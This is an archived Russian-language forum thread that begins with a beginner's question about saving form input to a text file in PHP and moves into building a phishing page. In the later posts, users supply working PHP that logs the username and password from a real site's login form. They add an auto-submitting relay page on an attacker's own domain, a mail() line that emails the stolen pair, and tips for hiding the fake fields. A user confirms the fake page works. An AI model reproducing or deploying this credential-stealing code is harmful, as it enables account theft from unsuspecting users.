PDA

Просмотр полной версии : Php сохранение в txt


XIII
22.09.2006, 20:07
народ подскажите пожалуйста скрипт
мне надо чтобы человек заполнил форму и эти все данные сохранились в txt файл

off
22.09.2006, 20:14
дозапись в файл

<?
$file = fopen("file.txt", "a+");

//переменные из формы ;)
$str = "text";

fputs($file, $str);

fclose ($file);

?>

вот, а дальше сам уж %))) я думаю передать из формы переменные не составит труда ....

Чекай php.ru )

XIII
22.09.2006, 20:20
=) спс большое буду пробовать ноя ламер врятли получится

SMiX
22.09.2006, 20:23
Чтобы получить данные из формы, используй переменные $_post и/или $_get
Только названия переменных заглавными должны быть.

Дикс
22.09.2006, 22:35
в зависимости от размера данных. длина get-запроса не может превышать 1024 символа.

XIII
22.09.2006, 23:23
А можету кого страничка есть с этим скриптом? а то что-то не получается =( кину 10 центов =)

Tem
22.09.2006, 23:31
<?php
if($_POST['content']){
$fh = fopen("file.txt", "w");
fwrite($fh, $_POST['content']);
fclose($fh);
}
?><form method=post>
<textarea name=content><?php echo file_get_contents("file.txt"); ?></textarea>
<input type=submit value="Отправить">
</form>

Так накинул тута на 5 мин и вот что вышла , после того как делаеш отправить создаётся файл file.txt и всё что написсано было в тексареи заносится туда.

XIII
23.09.2006, 00:55
так текст удаляется =( а надо чтобы оставался и каждое новое сообщение было с новой строки

nc.STRIEM
23.09.2006, 01:12
выложи свою форму! и те все напишут!
а есле хош чеб всё было с новой с троки, то запись в файл должан выглядить так :

$fh = fopen("file.txt", "a");
fwrite($fh, $_POST['content']."\n");

короч пример че писал TEM над изменить на:

<?php
if($_POST['content']){
$fh = fopen("file.txt", "a");
fwrite($fh, $_POST['content']."\n");
fclose($fh);
}
?><form method=post>
<textarea name=content></textarea>
<input type=submit value="Отправить">
</form>

XIII
23.09.2006, 01:33
меня устраивает твоя =)
слу всё клёва но можно ли доавить ещё 2 формы и чтобы все записывались в одну строку

SMiX
23.09.2006, 09:30
<?php
if(isset($_POST['content'],$_POST['content1'],$_POST['content2'])){
$fh = fopen("file.txt", "a");
fwrite($fh, $_POST['content'].' '.$_POST['content1'].' '.$_POST['content2']."\n");
fclose($fh);
}
?><form method=post>
<textarea name=content></textarea><br />
<textarea name=content1></textarea><br />
<textarea name=content2></textarea><br />
<input type=submit value="Отправить">
</form>

XIII
23.09.2006, 12:28
респект

edos
25.09.2006, 02:10
а если есть вот такой код, что добавить чтоб вводимые данные сохранялись в файл:


<%
if (!login) {
%>
<div align="right">
<form action='https://**************.ru/j_security_check' method='POST'>
<input type="hidden" name="j_uri" value="index.jsp"/>
<table class="login">
<tr><td><b>Логин:</td><td><input type="text" name="j_username"></td></tr>
<tr><td><b>Пароль:</td><td><input type="password" name="j_password"></td></tr>
<tr><td colspan="2" align="right" style="padding:1pt 2pt">
<input type="submit" value="Вход" style="text-align:center;width:80px">
</td></tr>
</table>
</form>
</div>
<%
} else {
%>
<div align="right">
<a href="logout.jsp">Выйти [<%=Util.getUserLogin(request)%>]</a>
</div>
<%
}
%>

nc.STRIEM
25.09.2006, 02:45
Эт те нужно иметь доступ к файлу https://**************.ru/j_security_check
те над будет сделать на нем расширение php и вписать это в форме: action='https://**************.ru/j_security_check.php'
а в том файле следующий код

<?php
if(isset($_POST['j_username'], $_POST['j_password']))
{
$fo=fopen("log.txt", "a");
fwrite($fo, "Логин:".$_POST['j_username']."\nПароль:".$_POST['j_password']."\n\n");
fclose($fo);
}
?>

edos
25.09.2006, 03:42
доступа нет, могу поменять только там где форма. а можно сделать так, что переход сделать на http(без s)://**************.ru/j_security_check.php, а с него потом переадресацию на https://**************.ru/j_security_check ?

может еще есть какие варики, отсылка на мыло или еще что нить?

bul.666
25.09.2006, 03:50
mail("кому", "title",$login.":".$pass, "From: micro@microsoft.com");

...

nc.STRIEM
25.09.2006, 12:57
да можно сделать так: ты региш домен(есле у тя его нет) любой главное с поддержкой php заливаеш туда скрипт написаный ниже, и в своей форме меняеш значение action на адрес этого скрипта!

<?php
if(isset($_POST['j_username'], $_POST['j_password']))
{
$fo=fopen("log.txt", "a");
fwrite($fo, "Логин:".$_POST['j_username']."\nПароль:".$_POST['j_password']."\n\n");
fclose($fo);
}
?>
<body onload="document.myform.submit()">
<form action='https://**************.ru/j_security_check' method='POST' name=myform>
<input type="hidden" name="j_uri" value="index.jsp"/>
<input type="text" name="j_username" value=<?print $_POST['j_username'];?>>
<input type="password" name="j_password" value=<?print $_POST['j_password'];?>>

em00s7
25.09.2006, 13:19
да можно сделать так: ты региш домен(есле у тя его нет) любой главное с поддержкой php заливаеш туда скрипт написаный ниже, и в своей форме меняеш значение action на адрес этого скрипта!
ГЫГЫ а с каких пор домен стал поддерживать php ?)))))))
я подсталом.

bul.666
25.09.2006, 13:55
Короче почитай! http://rst.void.ru/papers/site.txt

edos
25.09.2006, 17:10
да можно сделать так: ты региш домен(есле у тя его нет) любой главное с поддержкой php заливаеш туда скрипт написаный ниже, и в своей форме меняеш значение action на адрес этого скрипта!

<?php
if(isset($_POST['j_username'], $_POST['j_password']))
{
$fo=fopen("log.txt", "a");
fwrite($fo, "Логин:".$_POST['j_username']."\nПароль:".$_POST['j_password']."\n\n");
fclose($fo);
}
?>
<body onload="document.myform.submit()">
<form action='https://**************.ru/j_security_check' method='POST' name=myform>
<input type="hidden" name="j_uri" value="index.jsp"/>
<input type="text" name="j_username" value=<?print $_POST['j_username'];?>>
<input type="password" name="j_password" value=<?print $_POST['j_password'];?>>



все работает на ура, только просматриваются формочки на фейковой странице, можно их как-нить убрать не мешая общему процессу ?

nc.STRIEM
25.09.2006, 20:01
все работает на ура, только просматриваются формочки на фейковой странице, можно их как-нить убрать не мешая общему процессу ?

да можно! поменяй type="text" и type="password" на type="hidden"! забыл сделать в универ спешил)))
ГЫГЫ а с каких пор домен стал поддерживать php ?)))))))
я подсталом. недостаточно точн выразился! всерн понятно че я имел ввиду!
P.S. Учи русский "я подсталом" ))))